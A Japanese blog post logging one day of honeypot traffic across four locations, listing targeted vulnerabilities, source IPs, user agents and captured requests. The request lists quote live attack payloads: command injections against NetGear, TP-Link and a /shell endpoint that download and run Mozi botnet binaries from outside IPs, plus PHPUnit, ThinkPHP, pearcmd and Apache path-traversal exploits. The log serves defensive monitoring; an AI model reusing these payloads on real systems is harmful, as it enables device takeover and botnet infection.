コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/07/11 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2024/07/11分です。

特徴
共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
curlによるスキャン行為

を確認しました。

Location:US

NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
configファイルへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://102.33.27.17:36591/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:UK

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス

を確認しました。

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
Nmap Scripting Engineによるスキャン行為
.jsへのスキャン行為
configファイルへのスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：104 (前日比：-35)
US：総アクセス数：184 (前日比：56)
UK：総アクセス数：112 (前日比：16)
SG：総アクセス数：169 (前日比：20)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
7 3.231.59.69 United States
1 8.217.171.143 Singapore
1 27.43.204.84 China
1 45.33.80.243 United States
1 45.156.130.8 Hungary
1 48.216.197.50 United States
5 51.159.214.49 France
1 54.155.146.202 United States
1 82.180.144.55 Germany
7 101.32.192.203 Singapore
1 117.209.46.158 India
3 135.125.244.48 France
7 135.125.246.110 France
4 135.125.246.189 France
43 149.130.181.235 United States
1 172.206.143.4 United Kingdom
1 174.138.68.149 United States
4 185.142.236.43 Seychelles
2 185.224.3.4 Turkey
4 185.254.196.173 Ukraine
2 192.3.182.81 United States
2 198.235.24.20 United States
2 198.235.24.60 United States
1 209.38.17.95 United States
1 209.38.30.197 United States

UserAgent一覧

件数 UserAgent
15 -
43 Custom-AsyncHttpClient
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.3
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 zgrab/0.x
1 curl/7.81.0
1 python-requests/2.25.1
1 python-requests/2.32.3

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01\x01\x03\x01
7 \x16\x03\x01
1 CONNECT pro.ip-api[.]com:443 HTTP/1.1
21 GET /.env HTTP/1.1
3 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /99vt HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /aaaaaaaaaaaaaaaaaaaaaaaaaqr HTTP/1.1
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ads.txt HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app-ads.txt HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /console HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /gate.php HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /robots.txt HTTP/1.1
1 GET /sellers.json HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
7 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.149.186 Russia
1 4.151.38.168 United States
1 5.45.98.127 Germany
1 5.196.102.73 France
1 8.217.171.143 Singapore
1 20.25.198.77 United States
43 23.26.224.35 United States
1 34.250.84.203 United States
1 45.79.172.21 United States
1 45.79.181.104 United States
2 45.79.181.223 United States
8 45.148.10.251 Romania
1 47.89.195.210 United States
1 47.251.13.32 United States
1 48.216.196.234 United States
4 54.36.115.221 France
7 54.37.79.75 France
4 57.129.23.166 France
1 64.62.156.43 United States
1 64.62.156.47 United States
1 64.62.156.51 United States
1 66.240.205.34 United States
2 71.6.134.235 United States
2 78.153.140.177 Russia
2 78.153.140.179 Russia
2 83.97.73.245 Germany
1 89.107.10.215 Russia
2 91.92.244.183 Bulgaria
1 91.238.181.21 Germany
1 117.208.17.39 India
3 118.123.105.92 China
1 122.96.50.251 China
1 139.59.101.104 Singapore
2 142.4.196.32 Canada
4 143.198.204.194 United States
5 152.32.150.215 Hong Kong
1 152.89.198.67 Russia
2 157.230.37.129 United States
2 157.230.45.135 United States
6 167.71.201.103 United States
4 167.71.202.190 United States
2 167.71.207.184 United States
1 167.94.146.49 United States
1 170.64.229.66 United States
35 172.104.4.17 United States
1 172.104.11.4 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
1 172.105.128.12 United States
1 176.97.210.250 Germany
1 179.60.149.8 Panama
1 185.11.61.9 Russia
1 185.198.69.3 Russia
1 192.155.90.220 United States
2 198.235.24.66 United States
2 198.235.24.143 United States
2 199.45.155.89 United States
1 216.218.206.66 United States

UserAgent一覧

件数 UserAgent
44 -
43 Custom-AsyncHttpClient
8 Go-http-client/1.1
1 Hello, world
1 Linux Gnu (cow)
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 12; SM-N986U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
1 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
1 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 zgrab/0.x
11 Mozilla/5.0
30 curl/7.54.0
2 python-requests/2.25.1
1 python-requests/2.28.1

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 MGLNDD_34.68.118.83_80\n
4 \x03
1 \x16\x03\x01\x01H\x01
10 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\x17\x01
5 \x16\x03\x01\x02
19 \x16\x03\x01
22 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
5 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Il4s HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
11 GET /cdn-cgi/trace HTTP/1.1
8 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]169[.]11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /confluence/rest/applinks/1.0/manifest HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /human.aspx HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /login.html HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /nmaplowercheck1720636970 HTTP/1.1
1 GET /nmaplowercheck1720636975 HTTP/1.1
2 GET /owa/ HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /rest/applinks/1.0/manifest HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]208[.]17[.]39:42263/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//102[.]33[.]27[.]17:36591/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /user HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
2 GET /webui HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 45.79.181.94 United States
7 45.148.10.251 Romania
3 54.36.115.221 France
10 54.37.79.75 France
1 64.62.156.11 United States
1 64.62.197.199 United States
1 64.62.197.208 United States
1 64.62.197.211 United States
2 78.153.140.177 Russia
2 78.153.140.179 Russia
43 82.197.71.235 United Kingdom
2 83.97.73.245 Germany
1 91.191.209.202 Bulgaria
2 94.156.68.162 Bulgaria
1 139.59.101.104 Singapore
2 147.185.132.118 United States
2 157.230.37.129 United States
2 157.230.45.135 United States
1 159.203.89.119 United States
2 167.71.201.103 United States
1 167.172.248.251 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
2 172.104.11.51 United States
9 172.104.131.24 United States
1 172.105.128.12 United States
1 172.168.157.141 United States
1 172.202.243.114 United Kingdom
1 176.97.210.250 Germany
1 179.60.149.8 Panama
2 185.224.3.4 Turkey
1 192.99.7.195 Canada
1 192.155.90.220 United States
2 205.210.31.21 United States

UserAgent一覧

件数 UserAgent
22 -
43 Custom-AsyncHttpClient
7 Go-http-client/1.1
1 Linux Gnu (cow)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
1 Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
10 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_132.145.66.34_80\n
1 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\x03\x01
3 \x16\x03\x01\x01\x07\x01
13 \x16\x03\x01
1 CONNECT pro.ip-api[.]com:443 HTTP/1.1
15 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /Temporary_Listen_Addresses/ HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /autodiscove/ HTTP/1.1
1 GET /autodiscover/ HTTP/1.1
1 GET /autodiscover/autodiscover/ HTTP/1.1
1 GET /autodiscover/autodiscovers/ HTTP/1.1
1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
5 GET /cdn-cgi/trace HTTP/1.1
7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45[.]95[.]169[.]11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ews/autodiscovers/ HTTP/1.1
1 GET /ews/ews/ HTTP/1.1
1 GET /ews/exchange/ HTTP/1.1
1 GET /ews/exchanges/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /login.html HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
3 4.242.27.65 United States
1 8.217.171.143 Singapore
1 18.246.253.242 United States
12 20.151.57.6 United States
1 34.245.238.236 United States
1 36.150.60.24 China
7 45.148.10.251 Romania
1 45.156.128.49 Hungary
2 54.36.115.221 France
11 54.37.79.75 France
1 66.175.213.4 United States
2 71.6.134.235 United States
3 74.82.47.4 United States
2 78.153.140.179 Russia
2 83.97.73.245 Germany
33 91.92.251.148 Bulgaria
1 91.238.181.21 Germany
2 94.156.68.162 Bulgaria
43 120.195.30.140 China
2 162.142.125.202 United States
1 167.71.137.254 United States
2 167.71.201.66 United States
2 167.71.201.139 United States
2 167.71.207.184 United States
2 167.94.138.51 United States
2 167.94.145.102 United States
1 167.172.248.251 United States
2 172.104.11.51 United States
9 172.104.131.24 United States
3 172.105.128.13 United States
1 172.169.110.3 United States
1 172.212.59.135 United Kingdom
1 184.105.139.67 United States
2 185.224.3.4 Turkey
2 198.235.24.149 United States
2 199.45.155.95 United States
2 205.210.31.171 United States
1 209.38.17.89 United States

UserAgent一覧

件数 UserAgent
24 -
43 Custom-AsyncHttpClient
1 Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)
7 Go-http-client/1.1
